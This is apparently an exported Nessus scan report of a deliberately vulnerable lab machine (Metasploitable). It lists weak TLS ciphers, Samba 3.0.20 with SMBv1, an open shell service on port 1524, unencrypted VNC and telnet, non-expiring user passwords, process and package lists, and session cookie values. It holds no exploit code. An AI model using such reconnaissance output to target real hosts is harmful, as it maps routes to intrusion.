Only enable support for recommened cipher suites.

### Risk Factor

None

### Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

### Plugin Output

tcp/25/smtp

```
The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined
 below:


  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EXP-RC2-CBC-MD5               0x04, 0x00, 0x80 RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x02, 0x00, 0x80 RSA(512)      RSA      RC4(40)                MD5
       export
    EXP-EDH-RSA-DES-CBC-SHA       0x00, 0x14       DH(512)       RSA      DES-CBC(40)
 SHA1      export
    EDH-RSA-DES-CBC-SHA           0x00, 0x15       DH            RSA      DES-CBC(56)
 SHA1
    EXP-ADH-DES-CBC-SHA           0x00, 0x19       DH(512)       None     DES-CBC(40)
 SHA1      export
    EXP-ADH-RC4-MD5               0x00, 0x17       DH(512)       None     RC4(40)                MD5
       export
    ADH-DES-CBC-SHA               0x00, 0x1A       DH            None     DES-CBC(56)
 SHA1
    EXP-DES-CBC-SHA               0x00, 0x08       RSA(512)      RSA      DES-CBC(40)
 SHA1      export
    EXP-RC2-CBC-MD5               0x00, 0x06       RSA(512)      RSA      RC2-CBC(40)            MD5
       export
    EXP-RC4-MD5                   0x00, 0x03       RSA(512)      RSA      RC4(40)                MD5
       export
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)
 SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-MD5                  0x07, 0x00, 0xC0 RSA           RSA      3DES-CBC(168)          MD5
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    ADH-DE [...]
```

## 156899 - SSL/TLS Recommended Cipher Suites

### Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

### Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

TLSv1.3:

- 0x13,0x01 TLS13_AES_128_GCM_SHA256
- 0x13,0x02 TLS13_AES_256_GCM_SHA384
- 0x13,0x03 TLS13_CHACHA20_POLY1305_SHA256

TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

### See Also

https://wiki.mozilla.org/Security/Server_Side_TLS

https://ssl-config.mozilla.org/

### Solution

Only enable support for recommened cipher suites.

### Risk Factor

None

### Plugin Information

Published: 2022/01/20, Modified: 2024/02/12

### Plugin Output

tcp/5432/postgresql

```
The remote host has listening SSL/TLS ports which advertise the discouraged cipher suites outlined
 below:


  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    EDH-RSA-DES-CBC3-SHA          0x00, 0x16       DH            RSA      3DES-CBC(168)
 SHA1
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)
 SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DHE-RSA-AES128-SHA            0x00, 0x33       DH            RSA      AES-CBC(128)
 SHA1
    DHE-RSA-AES256-SHA            0x00, 0x39       DH            RSA      AES-CBC(256)
 SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)
 SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)
 SHA1
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)
 SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
```

## 25240 - Samba Server Detection

### Synopsis

An SMB server is running on the remote host.

### Description

The remote host is running Samba, a CIFS/SMB server for Linux and Unix.

### See Also

https://www.samba.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2022/10/12

### Plugin Output

tcp/445/cifs

## 104887 - Samba Version

### Synopsis

It was possible to obtain the samba version from the remote operating system.

### Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

### Plugin Output

tcp/445/cifs

```
The remote Samba Version is : Samba 3.0.20-Debian
```

## 96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

### Synopsis

The remote host supports the SMBv1 protocol.

### Description

The remote host (Windows and/or Samba server) supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, most security and compliance agencies recommend that users disable SMBv1 per SMB best practices.

### See Also

http://www.nessus.org/u?59bfc3ef

http://www.nessus.org/u?b9d9ebf9

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

### Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0710 |

### Plugin Information

Published: 2017/02/03, Modified: 2025/08/13

### Plugin Output

tcp/445/cifs

```
The remote host supports SMBv1.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/21/ftp

```
An FTP server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/23/telnet

```
A telnet server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/25/smtp

```
An SMTP server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/80/www

```
A web server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/1524/wild_shell

```
A shell server (Metasploitable) is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/5900/vnc

```
A vnc server is running on this port.
```

## 22964 - Service Detection

### Synopsis

The remote service could be identified.

### Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

### Plugin Output

tcp/8180/www

```
A web server is running on this port.
```

## 17975 - Service Detection (GET request)

### Synopsis

The remote service could be identified.

### Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0935 |

### Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

### Plugin Output

tcp/6667/irc

```
An IRC daemon is listening on this port.
```

## 17975 - Service Detection (GET request)

### Synopsis

The remote service could be identified.

### Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0935 |

### Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

### Plugin Output

tcp/6697/irc

```
An IRC daemon is listening on this port.
```

## 11153 - Service Detection (HELP Request)

### Synopsis

The remote service could be identified.

### Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives a 'HELP'

request.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2002/11/18, Modified: 2024/11/19

### Plugin Output

tcp/3306/mysql

```
A MySQL server is running on this port.
```

## 22869 - Software Enumeration (SSH)

### Synopsis

It was possible to enumerate installed software on the remote host via SSH.

### Description

Nessus was able to list the software installed on the remote host by calling the appropriate command (e.g., 'rpm -qa' on RPM-based Linux distributions, qpkg, dpkg, etc.).

### Solution

Remove any software that is not in compliance with your organization's acceptable use and security policies.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | IAVT:0001-T-0502 |

### Plugin Information

Published: 2006/10/15, Modified: 2025/03/26

### Plugin Output

tcp/0

```
Here is the list of packages installed on the remote Debian Linux system :

  Desired=Unknown/Install/Remove/Purge/Hold
  | Status=Not/Installed/Config-f/Unpacked/Failed-cfg/Half-inst/t-aWait/T-pend
  |/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
  ||/ Name
    Version
 Description
  +++-
==============================================================================================-
==============================================================================================-
===================================================================================================================
  ii  adduser
  3.105ubuntu1                                                                                   add
 and remove users and groups
  ii  ant
 1.7.0-3                                                                                        Java
 based build tool like make
  ii  antlr
    2.7.6-10
 language tool for constructing recognizers, compilers etc
  ii  apache2
 2.2.8-1                                                                                        Next
 generation, scalable, extendable web server
  ii  apache2-mpm-prefork
    2.2.8-1ubuntu0.15
 Traditi [...]
```

## 35351 - System Information Enumeration (via DMI)

### Synopsis

Information about the remote system's hardware can be read.

### Description

Using the SMBIOS (aka DMI) interface, it was possible to retrieve information about the remote system's hardware, such as its product name and serial number.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2009/01/12, Modified: 2025/03/18

### Plugin Output

tcp/0

```
Chassis Information
  Serial Number : Not Specified
  Version       : Not Specified
  Manufacturer  : Oracle Corporation
  Lock          : Not Present
  Type          : Other

System Information
  Serial Number : VirtualBox-47178e04-18f3-4212-a306-8951fda1318f
  Version       : 1.2
  Manufacturer  : innotek GmbH
  Product Name  : VirtualBox
  Family        : Virtual Machine
```

## 25220 - TCP/IP Timestamps Supported

### Synopsis

The remote service implements TCP timestamps.

### Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

### See Also

http://www.ietf.org/rfc/rfc1323.txt

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

### Plugin Output

tcp/0

## 11819 - TFTP Daemon Detection

### Synopsis

A TFTP server is listening on the remote port.

### Description

The remote host is running a TFTP (Trivial File Transfer Protocol) daemon. TFTP is often used by routers and diskless hosts to retrieve their configuration. It can also be used by worms to propagate.

### Solution

Disable this service if you do not use it.

### Risk Factor

None

### Plugin Information

Published: 2003/08/13, Modified: 2022/12/28

### Plugin Output

udp/69/tftp

## 19941 - TWiki Detection

### Synopsis

The remote web server hosts a Wiki system written in Perl.

### Description

The remote host is running TWiki, an open source wiki system written in Perl.

### See Also

http://twiki.org

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2005/10/06, Modified: 2023/05/24

### Plugin Output

tcp/80/www

```
URL     : http://192.168.50.101/twiki/bin/view/Main
Version : 01 Feb 2003
```

## 56468 - Time of Last System Startup

### Synopsis

The system has been started.

### Description

Using the supplied credentials, Nessus was able to determine when the host was last started.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/10/12, Modified: 2018/06/19

### Plugin Output

tcp/0

```
reboot   system boot  2.6.24-16-server Tue Sep 23 13:18 - 14:44  (01:26)
reboot   system boot  2.6.24-16-server Wed Sep 17 01:43 - 14:44 (6+13:01)
reboot   system boot  2.6.24-16-server Tue Sep 16 14:00 - 14:44 (7+00:44)
reboot   system boot  2.6.24-16-server Sat Sep  6 01:56 - 14:44 (17+12:48)
reboot   system boot  2.6.24-16-server Fri Sep  5 14:26 - 14:44 (18+00:17)
reboot   system boot  2.6.24-16-server Fri Sep  5 14:07 - 14:44 (18+00:37)
reboot   system boot  2.6.24-16-server Fri Sep  5 13:55 - 14:06  (00:11)
reboot   system boot  2.6.24-16-server Wed Sep  3 02:49 - 14:06 (2+11:16)
reboot   system boot  2.6.24-16-server Thu Aug 28 02:19 - 14:06 (8+11:46)
reboot   system boot  2.6.24-16-server Tue Aug 26 14:13 - 14:06 (9+23:53)
reboot   system boot  2.6.24-16-server Fri Aug  8 04:41 - 14:06 (28+09:24)
reboot   system boot  2.6.24-16-server Sat Jul  5 02:24 - 14:06 (62+11:42)
reboot   system boot  2.6.24-16-server Fri Jul  4 14:40 - 14:06 (62+23:26)
reboot   system boot  2.6.24-16-server Fri Jul  4 14:26 - 14:06 (62+23:39)
reboot   system boot  2.6.24-16-server Fri Jul  4 14:05 - 14:06 (63+00:01)
reboot   system boot  2.6.24-16-server Thu Jul  3 15:12 - 14:06 (63+22:53)
reboot   system boot  2.6.24-16-server Thu Jul  3 14:59 - 15:12  (00:12)
reboot   system boot  2.6.24-16-server Thu Jul  3 14:15 - 15:12  (00:56)
reboot   system boot  2.6.24-16-server Wed Apr 23 15:05 - 15:12 (71+00:06)
reboot   system boot  2.6.24-16-server Thu Apr 17 17:30 - 15:12 (76+21:42)

wtmp begins Sun May 20 15:56:29 2012
```

## 10287 - Traceroute Information

### Synopsis

It was possible to obtain traceroute information.

### Description

Makes a traceroute to the remote host.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

### Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.50.100 to 192.168.50.101 :
192.168.50.100
192.168.50.101

Hop Count: 1
```

## 198218 - Ubuntu Pro Subscription Detection

### Synopsis

The remote Ubuntu host has an active Ubuntu Pro subscription.

### Description

The remote Ubuntu host has an active Ubuntu Pro subscription.

### See Also

https://documentation.ubuntu.com/pro/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2024/05/31, Modified: 2024/07/05

### Plugin Output

tcp/0

```
This machine is NOT attached to an Ubuntu Pro subscription. However, it may have previously been
 attached.

The following details were gathered from /var/lib/ubuntu-advantage/status.json:
```

## 83303 - Unix / Linux - Local Users Information : Passwords Never Expire

### Synopsis

At least one local user has a password that never expires.

### Description

Using the supplied credentials, Nessus was able to list local users that are enabled and whose passwords never expire.

### Solution

Allow or require users to change their passwords regularly.

### Risk Factor

None

### Plugin Information

Published: 2015/05/10, Modified: 2023/11/27

### Plugin Output

tcp/0

```
Nessus found the following unlocked users with passwords that do not expire :
  - root
  - sys
  - klog
  - msfadmin
  - postgres
  - user
  - service
```

## 110483 - Unix / Linux Running Processes Information

### Synopsis

Uses /bin/ps auxww command to obtain the list of running processes on the target machine at scan time.

### Description

Generated report details the running processes on the target machine at scan time.

This plugin is informative only and could be used for forensic investigation, malware detection, and to confirm that your system processes conform to your system policies.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2018/06/12, Modified: 2023/11/27

### Plugin Output

tcp/0

```
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2844  1692 ?        Ss   13:18   0:03 /sbin/init
root         2  0.0  0.0      0     0 ?        S<   13:18   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S<   13:18   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S<   13:18   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S<   13:18   0:00 [watchdog/0]
root         6  0.0  0.0      0     0 ?        S<   13:18   0:00 [events/0]
root         7  0.0  0.0      0     0 ?        S<   13:18   0:00 [khelper]
root        41  0.0  0.0      0     0 ?        S<   13:18   0:00 [kblockd/0]
root        44  0.0  0.0      0     0 ?        S<   13:18   0:00 [kacpid]
root        45  0.0  0.0      0     0 ?        S<   13:18   0:00 [kacpi_notify]
root        90  0.0  0.0      0     0 ?        S<   13:18   0:00 [kseriod]
root       128  0.0  0.0      0     0 ?        S    13:18   0:00 [pdflush]
root       129  0.0  0.0      0     0 ?        S    13:18   0:00 [pdflush]
root       130  0.0  0.0      0     0 ?        S<   13:18   0:00 [kswapd0]
root       172  0.0  0.0      0     0 ?        S<   13:18   0:00 [aio/0]
root      1128  0.0  0.0      0     0 ?        S<   13:18   0:00 [ksnapd]
root      1319  0.0  0.0      0     0 ?        S<   13:18   0:00 [ata/0]
root      1327  0.0  0.0      0     0 ?        S<   13:18   0:00 [ata_aux]
root      1342  0.0  0.0      0     0 ?        S<   13:18   0:00 [ksuspend_usbd]
root      1347  0.0  0.0      0     0 ?        S<   13:18   0:00 [khubd]
root      2044  0.0  0.0      0     0 ?        S<   13:18   0:00 [scsi_eh_0]
root      2134  0.0  0.0      0     0 ?        S<   13:18   0:00 [scsi_eh_1]
root      2136  0.0  0.0      0     0 ?        S<   13:18   0:00 [scsi_eh_2]
root      2211  0.1  0.0      0     0 ?        S<   13:18   0:05 [kjournald]
root      2365  0.0  0.0   2092   620 ?        S<s  13:18   0:00 /sbin/udevd --daemon
root      2584  0.0  0.0      0     0 ?        S<   13:18   0:0 [...]
```

## 19288 - VNC Server Security Type Detection

### Synopsis

A VNC server is running on the remote host.

### Description

This script checks the remote VNC server protocol version and the available 'security types'.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2005/07/22, Modified: 2021/07/13

### Plugin Output

tcp/5900/vnc

```
\nThe remote VNC server chose security type #2 (VNC authentication)
```

## 65792 - VNC Server Unencrypted Communication Detection

### Synopsis

A VNC server with one or more unencrypted 'security-types' is running on the remote host.

### Description

This script checks the remote VNC server protocol version and the available 'security types' to determine if any unencrypted 'security-types' are in use or available.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2013/04/03, Modified: 2014/03/12

### Plugin Output

tcp/5900/vnc

```

The remote VNC server supports the following security type
which does not perform full data communication encryption :

  2 (VNC authentication)
```

## 10342 - VNC Software Detection

### Synopsis

The remote host is running a remote display software (VNC).

### Description

The remote host is running VNC (Virtual Network Computing), which uses the RFB (Remote Framebuffer) protocol to provide remote access to graphical user interfaces and thus permits a console on the remote host to be displayed on another.

### See Also

https://en.wikipedia.org/wiki/Vnc

### Solution

Make sure use of this software is done in accordance with your organization's security policy and filter incoming traffic to this port.

### Risk Factor

None

### Plugin Information

Published: 2000/03/07, Modified: 2017/06/12

### Plugin Output

tcp/5900/vnc

```

The highest RFB protocol version supported by the server is :

  3.3
```

## 189731 - Vim Installed (Linux)

### Synopsis

Vim is installed on the remote Linux host.

### Description

Vim is installed on the remote Linux host.

### See Also

https://www.vim.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2024/01/29, Modified: 2025/09/11

### Plugin Output

tcp/0

```
  Path    : /usr/bin/vim.tiny
  Version : 7.1
```

## 135860 - WMI Not Available

### Synopsis

WMI queries could not be made against the remote host.

### Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vunerabilities that exist on the remote host.

### See Also

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2020/04/21, Modified: 2025/07/21

### Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

## 100669 - Web Application Cookies Are Expired

### Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

### See Also

https://tools.ietf.org/html/rfc6265

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

### Risk Factor

None

### Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

### Plugin Output

tcp/80/www

```

The following cookies are expired :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:16:14 GMT
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
```

```
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:18:13 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:15:47 GMT
Comment :
Secure : 0
Httponly : 0
Port :
```

## 100669 - Web Application Cookies Are Expired

### Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

### See Also

https://tools.ietf.org/html/rfc6265

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

### Risk Factor

None

### Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

### Plugin Output

tcp/8180/www

```

The following cookies are expired :

Name : pma_fontsize
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:16:14 GMT
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_collation_connection
Path : /phpMyAdmin/
Value : deleted
```

```
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:18:13 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : deleted
Domain :
Version : 1
Expires : Mon, 23-Sep-2024 19:15:47 GMT
Comment :
Secure : 0
Httponly : 0
Port :
```

## 85601 - Web Application Cookies Not Marked HttpOnly

### Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

### See Also

https://www.owasp.org/index.php/HttpOnly

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:20 |
| XREF | CWE:74 |
| XREF | CWE:79 |
| XREF | CWE:442 |
| XREF | CWE:629 |
| XREF | CWE:711 |
| XREF | CWE:712 |
| XREF | CWE:722 |
| XREF | CWE:725 |
| XREF | CWE:750 |
| XREF | CWE:751 |
| XREF | CWE:800 |
| XREF | CWE:801 |

|  |  |
|---|---|
| XREF | CWE:809 |
| XREF | CWE:811 |
| XREF | CWE:864 |
| XREF | CWE:900 |
| XREF | CWE:928 |
| XREF | CWE:931 |
| XREF | CWE:990 |

## Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

## Plugin Output

tcp/80/www

```

The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : 73D07401344188CC8A8AED7DBB04C6CA
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 0E1265C3375BE6CC2D2577E2E119F64A
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : b440b1317612d2bdc961acd7ad8d6a61
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 504448063A732248DEA6CD26C6F16F6C
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

## 85601 - Web Application Cookies Not Marked HttpOnly

### Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

### See Also

https://www.owasp.org/index.php/HttpOnly

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:20 |
| XREF | CWE:74 |
| XREF | CWE:79 |
| XREF | CWE:442 |
| XREF | CWE:629 |
| XREF | CWE:711 |
| XREF | CWE:712 |
| XREF | CWE:722 |
| XREF | CWE:725 |
| XREF | CWE:750 |
| XREF | CWE:751 |
| XREF | CWE:800 |
| XREF | CWE:801 |

| | |
|---|---|
| XREF | CWE:809 |
| XREF | CWE:811 |
| XREF | CWE:864 |
| XREF | CWE:900 |
| XREF | CWE:928 |
| XREF | CWE:931 |
| XREF | CWE:990 |

## Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

## Plugin Output

tcp/8180/www

```

The following cookies do not set the HttpOnly cookie flag :

Name : JSESSIONID
Path : /admin
Value : 73D07401344188CC8A8AED7DBB04C6CA
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 0E1265C3375BE6CC2D2577E2E119F64A
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : b440b1317612d2bdc961acd7ad8d6a61
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 504448063A732248DEA6CD26C6F16F6C
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

## 85602 - Web Application Cookies Not Marked Secure

### Synopsis

HTTP session cookies might be transmitted in cleartext.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

### See Also

https://www.owasp.org/index.php/SecureFlag

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:522 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

### Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

### Plugin Output

tcp/80/www

```
The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : 73D07401344188CC8A8AED7DBB04C6CA
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:35 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 0E1265C3375BE6CC2D2577E2E119F64A
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
